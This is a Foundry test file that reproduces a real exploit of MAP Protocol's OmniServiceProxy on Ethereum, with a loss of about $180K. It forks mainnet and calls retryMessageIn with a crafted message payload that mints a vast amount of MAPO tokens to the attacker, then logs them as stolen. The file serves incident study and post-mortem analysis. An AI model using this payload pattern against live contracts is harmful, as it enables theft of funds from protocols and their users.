src/test/2026-05/MAPProtocol_exp.sol

1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.13;
3 
4import {Test} from "forge-std/Test.sol";
5import {console} from "forge-std/console.sol";
6import {IERC20} from "forge-std/interfaces/IERC20.sol";
7 
8// @KeyInfo - Total Lost : ~$180K
9// Attacker : https://etherscan.io/address/0x40592025392bd7d7463711c6e82ed34241b64279
10// Attack Contract : https://etherscan.io/address/0x2475396a308861559ef30dc46aad6136367a1c30
11// Vulnerable Contract : https://etherscan.io/address/0x0000317bec33af037b5fab2028f52d14658f6a56
12// Attack Tx : https://etherscan.io/tx/0x31e56b4737649e0acdb0ebb4eca44d16aeca25f60c022cbde85f092bde27664a
13//
14// @Info
15// Vulnerable Contract Code : https://etherscan.io/address/0x0000317bec33af037b5fab2028f52d14658f6a56#code
16//
17// @Analysis
18// Post-mortem : https://x.com/MapProtocol/status/2059587998409490510
19 
20contract MAPProtocolTest is Test {
21    bytes32 internal constant TX_HASH = 0x31e56b4737649e0acdb0ebb4eca44d16aeca25f60c022cbde85f092bde27664a;
22    uint256 internal constant FORK_BLOCK = 25_137_571;
23 
24    address internal constant ATTACKER = 0x40592025392BD7d7463711c6E82Ed34241B64279;
25    address internal constant EXPLOIT_CONTRACT = 0x2475396A308861559EF30dc46aad6136367a1C30;
26    IMAPOmniServiceProxy internal constant OMNI_SERVICE_PROXY = IMAPOmniServiceProxy(0x0000317Bec33Af037b5fAb2028f52d14658F6A56);
27    IERC20 internal constant MAPO = IERC20(0x66D79B8f60ec93Bfce0b56F5Ac14A2714E509a99);
28 
29    uint256 internal constant MINTED_MAPO = 1_000_000_000_000_000 ether;
30    bytes32 internal constant MESSAGE_ROOT = 0x1de78eb8658305a581b2f1610c96707b0204d5cba6a782b313672045fa5a87c8;
31 
32    function setUp() public {
33        vm.createSelectFork("mainnet", FORK_BLOCK);
34 
35        vm.label(ATTACKER, "Attacker");
36        vm.label(EXPLOIT_CONTRACT, "Exploit Contract");
37        vm.label(address(OMNI_SERVICE_PROXY), "OmniServiceProxy");
38        vm.label(address(MAPO), "MAPO");
39    }
40 
41    function testExploit() public {
42        uint256 beforeMapo = MAPO.balanceOf(ATTACKER);
43        bytes memory mintParams =
44            abi.encode(abi.encodePacked(ATTACKER), abi.encodePacked(ATTACKER), MINTED_MAPO, uint256(18));
45        bytes memory messagePayload = abi.encode(
46            uint256(1),
47            uint256(10_000),
48            abi.encodePacked(EXPLOIT_CONTRACT, EXPLOIT_CONTRACT, EXPLOIT_CONTRACT),
49            abi.encodePacked(address(MAPO)),
50            abi.encode(MESSAGE_ROOT, mintParams)
51        );
52 
53        vm.prank(ATTACKER, ATTACKER);
54        OMNI_SERVICE_PROXY.retryMessageIn(
55            142_967_269_125_167_041_077_124_280_185_344_731_231_610_710_977_720_281_833_930_752,
56            0xf2fbaa8a33bc05e0454299f2d43ed99fdb5cf024770484bbb598ace5e0c7d4a4,
57            address(0),
58            0,
59            hex"1ad1a4a19bc9983a98f5d9ac8442c6dfc4276167",
60            messagePayload,
61            ""
62        );
63 
64        uint256 mintedMapo = MAPO.balanceOf(ATTACKER) - beforeMapo;
65        assertEq(mintedMapo, MINTED_MAPO, "MAPO mint mismatch");
66 
67        console.log("Stolen MAPO", mintedMapo);
68    }
69}
70 
71interface IMAPOmniServiceProxy {
72    function retryMessageIn(
73        uint256 fromChain,
74        bytes32 orderId,
75        address token,
76        uint256 amount,
77        bytes calldata from,
78        bytes calldata message,
79        bytes calldata proof
80    ) external;
81}